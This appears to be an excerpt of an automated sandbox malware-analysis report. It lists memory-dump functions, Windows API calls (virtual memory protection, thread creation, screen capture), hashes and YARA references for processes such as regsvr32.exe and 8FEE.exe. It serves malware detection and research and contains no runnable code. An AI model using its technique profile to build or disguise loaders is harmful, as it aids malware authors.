Associated: 00000008.00000002.2918274894.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918315009.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918602953.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918646218.0000000000412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918906543.0000000000416000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2919101465.00000000004A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_826E.jbxd

Similarity

API ID: FileHandleInformation
String ID:
API String ID: 3935143524-0
Opcode ID: d91583059d4dda325ef7f83ea49c8cc046dc416b5f539f0b26e735ed4fc12a75
Instruction ID: 5168e0bcc44169e6646f62358a915105a7cde2e17afd371b19ede914798e5cdb
Opcode Fuzzy Hash: d91583059d4dda325ef7f83ea49c8cc046dc416b5f539f0b26e735ed4fc12a75
Instruction Fuzzy Hash: 01C08C3180020C6B8600FBE4ED05899BB7DA708100F000254FE0882200EA21A820C795

Uniqueness

Uniqueness Score: -1.00%

Function 00411C50 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 00411C54

Memory Dump Source

Source File: 00000008.00000002.2918602953.0000000000411000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2918274894.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918315009.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918494898.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918646218.0000000000412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918906543.0000000000416000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2919101465.00000000004A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_826E.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 3e65d327bbd69a4237a4d89f32d02d881b76f330d1108914d2d95c2b50b2ab0b
Instruction ID: 2c64ef0cac94bd64001e33f589f51a5e93cf51fe47c5dd0c03148d250ad37f38
Opcode Fuzzy Hash: 3e65d327bbd69a4237a4d89f32d02d881b76f330d1108914d2d95c2b50b2ab0b
Instruction Fuzzy Hash: ECB09BB4401308F78710DB95CA05C8E7BBC9609215F104555B50093204C7F59B459B64

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 006FC4E0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 338COMMON

Download Yara Rule

Strings

yi#, xrefs: 006FC674
yi#, xrefs: 006FC9F6

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID:
String ID: yi#$yi#
API String ID: 0-3001269923
Opcode ID: 65210f8152b913f1cf8e501e894e9aece881c9ae2aab7f1ff389fa38a2175bc8
Instruction ID: 2449b739ddd07864a49fd9a62191c821a48a2eb9d839d851a10e42bff00103aa
Opcode Fuzzy Hash: 65210f8152b913f1cf8e501e894e9aece881c9ae2aab7f1ff389fa38a2175bc8
Instruction Fuzzy Hash: D1C1813B924170FFCB206FBCBD451A9B6A4BB0D352F468CB0D951E3161D23DCA9396A4

Uniqueness

Uniqueness Score: -1.00%

Function 00703C80 Relevance: 6.3, APIs: 4, Instructions: 328nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00100000,00003000,00000004), ref: 00703CCE
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 00703D6E
NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00100000,00003000,00000004), ref: 00703D90
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 007040D8

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 48ed5f2644246354cb36a99c57211252ffae8271aa34633b916720e1557ea009
Instruction ID: 30f6872dee57dc5134714a280b23a8a02f1ce58917ddc31147599e2832431f08
Opcode Fuzzy Hash: 48ed5f2644246354cb36a99c57211252ffae8271aa34633b916720e1557ea009
Instruction Fuzzy Hash: A6D1CC71608341DFD724CF28C880B2ABBE4BF84314F148B6DF9A5972D2D775AA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 006EF390 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000000,00003000,00000040), ref: 006EF50F
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 006EF558

Strings

,, xrefs: 006EF4EA

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ,
API String ID: 292159236-3772416878
Opcode ID: ce9658e10e176e2118e938d6b1be916cb0af7653ad3aa3fccb6e43122ae68865
Instruction ID: 19055c98c8b1d4fc9455abbb204c6aaf0bc1db6aa693456d83c9a845fde12774
Opcode Fuzzy Hash: ce9658e10e176e2118e938d6b1be916cb0af7653ad3aa3fccb6e43122ae68865
Instruction Fuzzy Hash: 6951E231501290AFEB128F6DDC407E67FF1EB5A310F15C155EDA49B3E2C2389942CB69

Uniqueness

Uniqueness Score: -1.00%

Function 006F9B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 006F9C75
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 006F9CA9

Strings

LE., xrefs: 006F9B83

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: LE.
API String ID: 292159236-1838517851
Opcode ID: 45af19b1fb49cffa29d628c9ab46a47b0dc17445b7aa8f56348e66d1d46ac98d
Instruction ID: d1798355504ccad1c4f6348c79f95df0a16cb6fae95d429df2150b8141600444
Opcode Fuzzy Hash: 45af19b1fb49cffa29d628c9ab46a47b0dc17445b7aa8f56348e66d1d46ac98d
Instruction Fuzzy Hash: 3C4116B16002449FCB218F38DC507B67BF5FB5A310F158259E9909B3A1E7389943CB69

Uniqueness

Uniqueness Score: -1.00%

Function 006FC41C Relevance: 9.1, APIs: 6, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006FC45D
CreateCompatibleDC.GDI32(00000000), ref: 006FC466
GetDeviceCaps.GDI32(?,00000008), ref: 006FC478
GetDeviceCaps.GDI32(?,0000000A), ref: 006FC483
CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 006FC48F
SelectObject.GDI32(?,00000000), ref: 006FC4A0

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: CapsCompatibleCreateDevice$BitmapObjectSelect
String ID:
API String ID: 43571987-0
Opcode ID: 4be659713218e26728548c3e3f8af33162a4d32697b36a412521f62371d7e652
Instruction ID: 3fdb8a995e5a91fd404c749483f829c0741110ebab8478b7066d21de8a2d25dc
Opcode Fuzzy Hash: 4be659713218e26728548c3e3f8af33162a4d32697b36a412521f62371d7e652
Instruction Fuzzy Hash: 36219DB5D00219AFDB40CFA9D885AADBFF8FF0A310B11406AE848E7360D77558418FA2

Uniqueness

Uniqueness Score: -1.00%

Function 006E8528 Relevance: 6.3, APIs: 4, Instructions: 263COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 006E8238
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 006E826C
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 006E8369
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 006E83A1

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 649414a7c5b15a18d9061caf8bb0ae4559d0e072a7129ab850617872ada01d15
Instruction ID: 0bd151b2810e6b69c0cb276090259e36a662fcef31e94f7df0562c2643943026
Opcode Fuzzy Hash: 649414a7c5b15a18d9061caf8bb0ae4559d0e072a7129ab850617872ada01d15
Instruction Fuzzy Hash: 9EB17EB5A00700DFD721CF29C882A62B7F1FF59314F15865DEC9A8B3A1E734A845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 006E392D Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,00000000,?), ref: 006E654A

Strings

!, xrefs: 006E3A34
!, xrefs: 006E3994

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: !$!
API String ID: 237503144-3314928020
Opcode ID: cd6acc05254ceadb87bc45e2d6988ca5f95a698b87f04c722897fe17798f65d6
Instruction ID: a8d4485b59c8856013e3c10ee4de9c7f3fdffc1db8249e353948d2b87b51edb9
Opcode Fuzzy Hash: cd6acc05254ceadb87bc45e2d6988ca5f95a698b87f04c722897fe17798f65d6
Instruction Fuzzy Hash: 0EB1A4B0900B408FD335CF2AD4816A6FBF6BF58308B548A2ED59B87A60E775F545CB50

Uniqueness

Uniqueness Score: -1.00%

Function 006D29E8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 226COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,00000000,?), ref: 006DC46A

Strings

!, xrefs: 006D2AE9
!, xrefs: 006D2A4F

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: !$!
API String ID: 237503144-3314928020
Opcode ID: 2a1cced868d455d2b39ecc9825933aa2e5700a14b91cf57386232e96c3035e31
Instruction ID: b6417b9a418982633832871e88df6a002ebce8024fe73c1a023504e22cee29c5
Opcode Fuzzy Hash: 2a1cced868d455d2b39ecc9825933aa2e5700a14b91cf57386232e96c3035e31
Instruction Fuzzy Hash: ACA1E5B0900B418FD335CF2AC4816A6FBF6BF58318B148A2ED59A87B60E7B1F545CB50

Uniqueness

Uniqueness Score: -1.00%

Function 006FC9CB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

yi#, xrefs: 006FC674
yi#, xrefs: 006FC9F6

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID:
String ID: yi#$yi#
API String ID: 0-3001269923
Opcode ID: 2d80bcf7e3ddb86d4c3590aff2d758541abf09dfd1e1613204b2b389ecc11322
Instruction ID: 1de5c8e76cb5b2f48fac3e0a2980e1f8cc7a286f1f1c8f741ff2a4d971ecfb90
Opcode Fuzzy Hash: 2d80bcf7e3ddb86d4c3590aff2d758541abf09dfd1e1613204b2b389ecc11322
Instruction Fuzzy Hash: 4F41413B924170EFDB206F7CB955069B6A46B0E362F4B4CB0D891E3161D33DCAA356A4

Uniqueness

Uniqueness Score: -1.00%

Function 006DAEF9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 006DAF25

Strings

zJC , xrefs: 006DAF89
zJC , xrefs: 006DAF5D

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: zJC $zJC
API String ID: 237503144-3831632950
Opcode ID: 177410fff91c2f3004f692b748868fd072b621a31442282efa2d30540cecec3c
Instruction ID: b83f2c88eb20e8e2c3705c8f9708d31de9c501f42b624dae818171ab81171a66
Opcode Fuzzy Hash: 177410fff91c2f3004f692b748868fd072b621a31442282efa2d30540cecec3c
Instruction Fuzzy Hash: 60018472514A008FC3349F78D841BA7B7E6EF89324F148A5DE4AA873D1D735A501CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1744, Parent PID: 2648COMMON

Execution Graph

Execution Coverage:	25.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	55
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04C3165C Relevance: 4.9, APIs: 3, Instructions: 427
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04C3193E
VirtualProtect.KERNELBASE(?,?,?,?,00000001,000000FF,00000000,04D53978,?,00000000,?,?), ref: 04C31B0F
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04C31B35

Memory Dump Source

Source File: 0000000B.00000002.2045658676.0000000004C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 04C31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4c31000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6b6dae4fcdd64e493c824e3b82a5d8f4046d0ec892d7c2d7dd4f5004a72bcaf9
Instruction ID: 3671c0535cc8949a61a87febe4723f540ee238bb8e5b6df24f18fc66e6c51dd6
Opcode Fuzzy Hash: 6b6dae4fcdd64e493c824e3b82a5d8f4046d0ec892d7c2d7dd4f5004a72bcaf9
Instruction Fuzzy Hash: DE0283726083418FD768CF25C890BEBB7E2BFC8314F158A6DD5898B355DB70A946CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04D61260 Relevance: 1.7, APIs: 1, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?,?), ref: 04D61413

Memory Dump Source

Source File: 0000000B.00000002.2045775031.0000000004D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 04D61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4d61000_regsvr32.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 44303b703024ce3ad11163f2e9e30957fc217af880f2dd82d34f6a16067bd4eb
Instruction ID: 65bf09010e743248c6f267d0d1a5f1eeba4abaae2981c599921b418b45edea6e
Opcode Fuzzy Hash: 44303b703024ce3ad11163f2e9e30957fc217af880f2dd82d34f6a16067bd4eb
Instruction Fuzzy Hash: 1B91BE72A083518FD314CF29C88065EB7E3BFD8318F2A891DE9D697754D674E806CB82

Uniqueness

Uniqueness Score: -1.00%

Function 04D6A870 Relevance: 1.7, APIs: 1, Instructions: 223
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 04D6AA2D

Memory Dump Source

Source File: 0000000B.00000002.2045775031.0000000004D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 04D61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4d61000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f76f22cdce625d176c23d6d969d37dc11b4670ec9f8b5f7d145c5146c3befb07
Instruction ID: bc2c3d15d5a5c56dc1249c6d6cf7d794f3db137ff4e33cbe91172f93f0bdca24
Opcode Fuzzy Hash: f76f22cdce625d176c23d6d969d37dc11b4670ec9f8b5f7d145c5146c3befb07
Instruction Fuzzy Hash: 58A16276E002198FCF18CFA5C88069EBBB2BF89310F65819AD949B7345DB31AD45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04D619C0 Relevance: 1.7, APIs: 1, Instructions: 208
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 04D61B4C

Memory Dump Source

Source File: 0000000B.00000002.2045775031.0000000004D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 04D61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4d61000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: f0898e75607e2f4ebd6c0e6385a5efba3c20aa94408968c48e22fceca983122e
Instruction ID: 25c03e5276e32eefe227883895ffe5d28dd2e41bd717466adb9e65afc80e8c1c
Opcode Fuzzy Hash: f0898e75607e2f4ebd6c0e6385a5efba3c20aa94408968c48e22fceca983122e
Instruction Fuzzy Hash: 42817D76A183518FC318CF39C89166BB7E2FBC9310F158A2DE99697798DB34A805CB41

Uniqueness

Uniqueness Score: -1.00%

Function 04D6BF09 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,?), ref: 04D6BF50

Memory Dump Source

Source File: 0000000B.00000002.2045775031.0000000004D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 04D61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4d61000_regsvr32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: b88aa073d21c6c90d45e8e8f0882e434561cffd4ed6c8d9165a3ac4a849ac019
Instruction ID: a2471a51f80fa048c3ba88fc2fd2f62c18830e52601426501f2592ce4c074de4
Opcode Fuzzy Hash: b88aa073d21c6c90d45e8e8f0882e434561cffd4ed6c8d9165a3ac4a849ac019
Instruction Fuzzy Hash: FF511936A00129CFCF14CEA8C980ADDB7B2FF88314F65819AD545BB255D735BA86CF80

Uniqueness

Uniqueness Score: -1.00%

Function 04D64038 Relevance: 1.4, APIs: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 04D64065

Memory Dump Source

Source File: 0000000B.00000002.2045775031.0000000004D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 04D61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4d61000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 72c7346fb9292c7e0e4f4f407f955cc33a305ed9c372ad75cf739dd5f4969bc0
Instruction ID: 0e31e0f82030ad333ae07f577a474be0464038cf4bdf3ec571b5bdea0b0db59a
Opcode Fuzzy Hash: 72c7346fb9292c7e0e4f4f407f955cc33a305ed9c372ad75cf739dd5f4969bc0
Instruction Fuzzy Hash: DD510D76E00119DFDB24CFA8C8406DDB7B2FF88314F668195D449BB255DB31A986CF80

Uniqueness

Uniqueness Score: -1.00%

Function 04D6AC76 Relevance: 1.4, APIs: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?), ref: 04D6ACB1

Memory Dump Source

Source File: 0000000B.00000002.2045775031.0000000004D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 04D61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4d61000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fe0b0fdf7bfc53f1cf2a5f8c0322671a893c3b0f6256cf5ee8a8435780629df7
Instruction ID: 7f1396b1a6543a7e82dd5687de5789585fc464f3c8ac1ca6a7828aa9cfbaa1c8
Opcode Fuzzy Hash: fe0b0fdf7bfc53f1cf2a5f8c0322671a893c3b0f6256cf5ee8a8435780629df7
Instruction Fuzzy Hash: 55515B366142018FC710CF29C88065AF7E2FFC9354F168A68E996AB364E771FD46DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FB1303 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00FB135A
VirtualProtect.KERNELBASE ref: 00FB13DB

Strings

`, xrefs: 00FB157E

Memory Dump Source

Source File: 0000000B.00000002.2045418867.0000000000FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_fb0000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: b2c07b5509849591b6dc796b86fccf1ccd1ba2d501673ff9e543c9429e0d86b4
Instruction ID: 3d5e4a9c71e77dc393c63cdb69fe87d9e35bdb768a9f740dde4e338e3674aae2
Opcode Fuzzy Hash: b2c07b5509849591b6dc796b86fccf1ccd1ba2d501673ff9e543c9429e0d86b4
Instruction Fuzzy Hash: 39518BB4D042088FDB18DF99C594A9DFBB1FF88310F25816ED919AB356D735A845CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00FB1408 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00FB1671

Strings

`, xrefs: 00FB157E

Memory Dump Source

Source File: 0000000B.00000002.2045418867.0000000000FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_fb0000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: 702c88967da64f289529f13b9b1e1a6e58dd097b7640b7cfd2b620529281eba4
Instruction ID: d91b24be588d5538681963bf842b430bd540d842fb9523973668eb079aaae0b4
Opcode Fuzzy Hash: 702c88967da64f289529f13b9b1e1a6e58dd097b7640b7cfd2b620529281eba4
Instruction Fuzzy Hash: 28418CB5E002288FDB64CF09C890B89BBB1FF49314F5581AAC949AB346D731AD95CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00FB1681 Relevance: 1.3, APIs: 1, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00FB16F9

Memory Dump Source

Source File: 0000000B.00000002.2045418867.0000000000FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_fb0000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ed0437727f0b9fa81e9bb7505b5e240e43444a9eb4228bc4adeb53a94b3a694e
Instruction ID: 874b7af917924cc44adb308a7874f5c6605b55285c4f9febae9779296e90ec11
Opcode Fuzzy Hash: ed0437727f0b9fa81e9bb7505b5e240e43444a9eb4228bc4adeb53a94b3a694e
Instruction Fuzzy Hash: E041F2B49012058FDB04DF59C5547AEBBF0FF48304F2485ADD858AB341D37AA846CF91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8FEE.exePID: 6864, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	21
Total number of Limit Nodes:	3

Executed Functions

Function 038C2600 Relevance: 4.0, Strings: 3, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 038C28F9
?jvK, xrefs: 038C278A
LR^q, xrefs: 038C26AA

Memory Dump Source

Source File: 0000000C.00000002.2289123446.00000000038C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 038C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_38c0000_8FEE.jbxd

Similarity

API ID:
String ID: ?jvK$LR^q$PH^q
API String ID: 0-2117275552
